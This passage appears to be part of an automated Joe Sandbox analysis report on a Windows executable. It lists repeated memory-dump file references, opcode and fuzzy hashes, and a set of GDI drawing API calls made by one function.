          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 1190c11275cd3c0292a3bccd9b6224ea0be3059b393fcbed47cf4bfd764c810d
          • Instruction ID: 77bb6ef1a33f3c20b2dde98f6b4dff14fe5e63b40d3685670c00f00b3bb910fc
          • Opcode Fuzzy Hash: 1190c11275cd3c0292a3bccd9b6224ea0be3059b393fcbed47cf4bfd764c810d
          • Instruction Fuzzy Hash: FD717172A016898FC3049F29FDD0026BBE2F7D5304755823EC5568B3A6EB346819CB9A
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: e09e427cc0f5c48326d696f622ddb13854d7e20a58c35d846649955e18978596
          • Instruction ID: d83ab7294f4e5ccce54bbd756e6234d07e89266775608be0692edbadfd78a524
          • Opcode Fuzzy Hash: e09e427cc0f5c48326d696f622ddb13854d7e20a58c35d846649955e18978596
          • Instruction Fuzzy Hash: 4A71222520D7C24BC7299B2888A42F6BFE1AFA7301F5D95EED8D64F393C416640DC721
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: c85e5f8c1b8543d5e31b2507d484f8634bc59b4117db2810bbc7b5cb86d4c726
          • Instruction ID: d4c02437ecf58163639b82e3b155d2f4e05349cccaf8e8e2351781cf2a36ea86
          • Opcode Fuzzy Hash: c85e5f8c1b8543d5e31b2507d484f8634bc59b4117db2810bbc7b5cb86d4c726
          • Instruction Fuzzy Hash: 1581073954A7819FC711CF29C0D04A6FBE2BF9E204F5C999DE9C50B316D231A91ACB92
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 227cb1f07f838f5a0cc6ee8dc100afbc81862ab5380883fc56fe2abe55c5128b
          • Instruction ID: a959ccb202052fde7cdd7dc0afaf6a6bd3fe700a01a63da93dae035f6ba6bf90
          • Opcode Fuzzy Hash: 227cb1f07f838f5a0cc6ee8dc100afbc81862ab5380883fc56fe2abe55c5128b
          • Instruction Fuzzy Hash: 59510521608B504BD305DA2D98A027AFFD29BC9711F1C8AAEC8DAC7712E62598098795
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 1048d14b3111031d9eabfb3ae544b763ccd838cf41883d901118cce457db1cc6
          • Instruction ID: 588493233de86155b286bda520d3066f2a8f54cd18f0cc973f9a3b58d16b9391
          • Opcode Fuzzy Hash: 1048d14b3111031d9eabfb3ae544b763ccd838cf41883d901118cce457db1cc6
          • Instruction Fuzzy Hash: B451EE32602112CF935C8F39EED8079BAA1F79536131A437FC61A87B52C67495B9CB8C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 4d4d2dea2c165661568dc7cef3cf9871e53b13df2d48047b3dc5f70df1b2c506
          • Instruction ID: 0b84d20bb2ead416ca4466f921b8148e639d8e1028d46a2664d1f38f75609a1d
          • Opcode Fuzzy Hash: 4d4d2dea2c165661568dc7cef3cf9871e53b13df2d48047b3dc5f70df1b2c506
          • Instruction Fuzzy Hash: 1A41273A3192834BC7289E3C84512B6FBA1AF9A302B9947BEC8D5CB743D529950EC754
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: a8c27889d51f487b201adba72a386df83b8ac4b76ef92a9fc20cd27d85f323ea
          • Instruction ID: 710f6d6473d4232747b54b11ced97a3b2721a89833b61f26fa55050e216ee1d8
          • Opcode Fuzzy Hash: a8c27889d51f487b201adba72a386df83b8ac4b76ef92a9fc20cd27d85f323ea
          • Instruction Fuzzy Hash: 5D518D2520DBE14AC71A973854A95F7FFE29F6B302B4E90EDC8DA8B323C516510DC764
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: f0dd68ae8d79096bfff4e7699e13dd193f200550837cc12a82dd0ac9e9194b22
          • Instruction ID: 4ce9b641c55aedcbf69dbc4131285da1941ada6c76916462ab6c45dd3afbc9cd
          • Opcode Fuzzy Hash: f0dd68ae8d79096bfff4e7699e13dd193f200550837cc12a82dd0ac9e9194b22
          • Instruction Fuzzy Hash: 9B41C6327449410BC768CA2AD4A02EBB7D3DBC6702B29C47FC59E9B766D935540CCB84
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
          • Instruction ID: d965ac1639302a7ccd57a292a7828b402a4306adb8012940a4e7ade04fe3f8da
          • Opcode Fuzzy Hash: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
          • Instruction Fuzzy Hash: 33311E3374558203F71DCA2F9CA12BAEAD34FC522872DD57E99C987356ECFA481B4144
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 65c5119fa173ede5b9b94bbf529444acb85f4697f456390ad237f561396959c3
          • Instruction ID: ccc1bb1d9e978e264246d560306e70d8ca7e93ad88135f98c2d57d3f16e9078a
          • Opcode Fuzzy Hash: 65c5119fa173ede5b9b94bbf529444acb85f4697f456390ad237f561396959c3
          • Instruction Fuzzy Hash: 1B3149227B609207D354CEBD9C80577BA93E7C7306B6DCA7CD544C760AC939E8174254
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: e65a41849ba1dff17564a555de7faa284a3be694d3db7f60d411abc468340149
          • Instruction ID: c5c6a1bbaa53dea32b28b7715f7990948bc07a4e66593878ab926d0adccd9196
          • Opcode Fuzzy Hash: e65a41849ba1dff17564a555de7faa284a3be694d3db7f60d411abc468340149
          • Instruction Fuzzy Hash: A31108F7300046439614AA2AD7B02BFE795DBC6320F2D4A6BD0854B354D6ED9945D70C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 3c43cee99a0f5a1ea0b6b04c12eb68e8ef64dabdf593df91b1ea06dbc78e480a
          • Instruction ID: cb65ea0ec2f7a2280925415c1b763b3674cbcb15351392ecba84f1f9ee8b4be7
          • Opcode Fuzzy Hash: 3c43cee99a0f5a1ea0b6b04c12eb68e8ef64dabdf593df91b1ea06dbc78e480a
          • Instruction Fuzzy Hash: 89D0A7B2D1525152C7241D486845697A9940F57304F4D587FFD44A2327E7BCCD8683AF
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
          • Instruction ID: 4f0b5e6ba5409f95715faf934fa4a4167c5fb1b3ad6436835c47d9fa3889b754
          • Opcode Fuzzy Hash: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
          • Instruction Fuzzy Hash: EAD0C93425474ACFDB11CF14C0D1B41B3A8EB49748F104071DD419B385D2B8F945CAA2
          APIs
          • GetDC.USER32(?), ref: 0043F552
            • Part of subcall function 00424D40: EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 00424D4F
          • SetStretchBltMode.GDI32(00000000,00000000), ref: 0043F565
          • CreateCompatibleDC.GDI32(00000000), ref: 0043F572
          • CreateCompatibleDC.GDI32(00000000), ref: 0043F577
          • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0043F5C8
          • SelectObject.GDI32(00000000,00000000), ref: 0043F5DC
          • SelectObject.GDI32(?,?), ref: 0043F606
          • PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 0043F628
          • SelectObject.GDI32(?,?), ref: 0043F638
          • SelectObject.GDI32(?,?), ref: 0043F644
          • GetTickCount.KERNEL32 ref: 0043F692
          • SelectObject.GDI32(?,?), ref: 0043F6CA
          • SelectObject.GDI32(00000000,00000000), ref: 0043F6E6
          • BitBlt.GDI32(?,?,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0043F70B
          • SelectObject.GDI32(00000000,?), ref: 0043F717
          • DeleteObject.GDI32(00000000), ref: 0043F71E
          • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0043F762
          • SelectObject.GDI32(00000000,00000000), ref: 0043F76E
          • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,00000000,00CC0020), ref: 0043F793
          • SelectObject.GDI32(00000000,?), ref: 0043F79F
          • SelectObject.GDI32(00000000,?), ref: 0043F7A7
          • CreateCompatibleDC.GDI32(00000000), ref: 0043F7BC
          • CreateCompatibleDC.GDI32(00000000), ref: 0043F7C5
          • CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0043F7DB
          • CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0043F7F3
          • SelectObject.GDI32(00000000,?), ref: 0043F803
          • SelectObject.GDI32(00000000,?), ref: 0043F813
          • SetBkColor.GDI32(00000000,?), ref: 0043F825
          • BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0043F846
          • SetBkColor.GDI32(00000000,?), ref: 0043F852
          • BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00330008), ref: 0043F86F
          • BitBlt.GDI32(?,?,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 0043F894
          • BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 0043F8B1
          • BitBlt.GDI32(?,?,00000000,?,?,00000000,00000000,00000000,00EE0086), ref: 0043F8D6
          • SelectObject.GDI32(00000000,?), ref: 0043F8E2
          • DeleteObject.GDI32(00000000), ref: 0043F8E9
          • SelectObject.GDI32(00000000,?), ref: 0043F8F5
          • DeleteObject.GDI32(00000000), ref: 0043F8FC
          • DeleteDC.GDI32(00000000), ref: 0043F909
          • DeleteDC.GDI32(00000000), ref: 0043F90C
          • SelectObject.GDI32(00000000,?), ref: 0043F945
          • DeleteObject.GDI32(?), ref: 0043F94C
          • IsWindow.USER32(?), ref: 0043F956
          • StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,?,?,00CC0020), ref: 0043F9BA
          • BitBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00CC0020), ref: 0043F9E4
          • SelectObject.GDI32(?,?), ref: 0043F9F4
          • Sleep.KERNEL32(0000000A), ref: 0043FA40
          • GetTickCount.KERNEL32 ref: 0043FA46
          • DeleteObject.GDI32(00000000), ref: 0043FA73
          • DeleteDC.GDI32(00000000), ref: 0043FA80
          • DeleteDC.GDI32(?), ref: 0043FA87
          • ReleaseDC.USER32(?,00000000), ref: 0043FA8E
            • Part of subcall function 0043F070: GetClientRect.USER32(?,?), ref: 0043F097
            • Part of subcall function 0043F070: __ftol.LIBCMT ref: 0043F16E
            • Part of subcall function 0043F070: __ftol.LIBCMT ref: 0043F181
          Memory Dump Source
